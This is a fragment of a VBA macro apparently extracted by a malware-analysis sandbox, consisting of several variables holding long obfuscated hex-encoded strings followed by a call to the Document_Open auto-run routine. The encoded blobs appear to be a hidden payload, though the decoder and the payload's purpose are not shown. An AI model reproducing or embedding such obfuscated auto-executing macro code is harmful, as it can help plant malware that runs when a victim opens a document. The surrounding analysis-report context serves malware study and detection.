W_S = "808A8AA88A8A548A838A8A4E938A8A518A8AC28A8AB6BF8A7D998A8A8A8A8A6A5FA28AC177C56D8A7582B88A8A608A6555768A8A8AC3948A8A4F8A8A8C8A9BBD638A7E945A8ABFA2A0648AB18A8A5A68A58A8AAB8A6A908A587C8A738AB28A8A8A8A8A8A8A56C58A84918A8A8A678A8AAA8A528A8A8A8A8A878A4D978A8A4ECA4F87B4878A8A638AC08A8A758ABC7D90528A8A818A5194B879C3B58AA4768AAE8A8A9A8A"
Dim XXO_KCK As String
XXO_KCK = "5D8A91996C648A5C7B8A648B8AC68A8AAE8A8EAE8A898ACAA38A8A788A8A8AA48A8A8ABF8AB4A78A8A9CBDBEC2B18A8373A7B68A9A528A8A8A54954D8ABC958A8A8A8A8A7DC18A8AB08A8A9B568ABA8AC6A4CA8A8A6B958AA58A77AB5C8A8A8A728A4E8A508A8A938A65878A8AAA8A8A8ABD798AA995738AB58A58736E9A8A8A9E8A8AB58A8A6988978ABF8D8AC1948A8A8A8A8AB28A8A8A8A575EBC8A8AC18A9C708A7E"
Dim LUF_O As String
LUF_O = "8A8AB86C8AAD6F8A8A6B8A8A8A5FBB8AB0658A8A8A558A63858A8A8A618A547E8AB5938A8A828AAD8A578AADB18A8A8AC18A8A69ADA08B958AA48AA4702F8A8A718A8A7F5B8A8A8A7E8AB38A8197518A8A8A5E60BA7B748A8A8A8A8A878AB38A8A8AC98A8A8C8A8A8A8A6C8A8A5C6D9B9DB56E8A8A8A798A8A8A8A664EB6AA928AA0B98A8C8AA9528A8A598A678AB7958A8A8A8A8A8A8A778AAC6F8A988A947E8A8A8A5C"
Dim TB_DUK As String
TB_DUK = "8AA05788C38A828A52608A248A8A8A8A91968A8A8A8A53B3979A8A8A8A796D8A8A8AC46B8A8AC18A979E8A8A5E8AA8678A868A6B5E57A6805A8A8A8A7FA7528AC18A556F8A8A8A6357A3A7928A848A8A8A8AB34D8A8ABA8F5B518ABB8A9776889C629D8A738A8252528A8A8AA6AC948AC98AC577BF8A8A8A8AB88AB25B66C28A848A8A8A7C8A8A87BBA18A8A8AB68ABA8A8A8AB2B98A638A8A8A8AB6978A8A8AC48A508A"
Dim PHQ_NK As String
PHQ_NK = "8A8AC464B7748A8A8A744D8A8A88668A8A638A8A794B8AABB08A8A8A768AB07C8A994F9B994C8A8A8A8AA18A8A9F8A8A818A8A8A668A8A94638AC78A4F6A8AA98AC2A18A62A87D618A618A4FA58A8A8A8A7D6C8A604D8A828A8A8AC0778A8A958A8A8A8AE78A504FC98A9B5C8A8A828A8A888AAD9E6EA7718A8A578A708AAE8AA28A5A788AB88A9C5A8A978A8A5C9E8A8A8A8E8A784C8AC58A8A8A8A8D8A548A7A8AB59D"
Dim VFY_UZ As String
VFY_UZ = "A08A895B8A8A8380928A8ABA8ABC8A588B8A8A698A8AAF8AAD969476AB558AA08ABF67608A8C8AAA8A8A959A9F6A8A8A6E8A8A817B9B8A8C8A8A8A548A8A8A838A6EC18E9FBF90A8BA8A5D8A74C0BC8A838A6A8AAC8A8A8A9D8AC48F88BC8A8A8A688AA5B38A8A8AB58AC18A9DBF8ACA4BC85C8A8A928AB44C8A8A637C5DAA968DA28A858ABBA88AB87B69606B8A574F8A8ABC818A5B698A8A8AB18A688A838A61B88A878AC78A8A6AAFB38A738A94BF8A8ABD8A748A7C846BC38A55BA8A8A8ABF8A8A548A805C698A617F8A9BA78A8A71A09A8A538A"

    Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.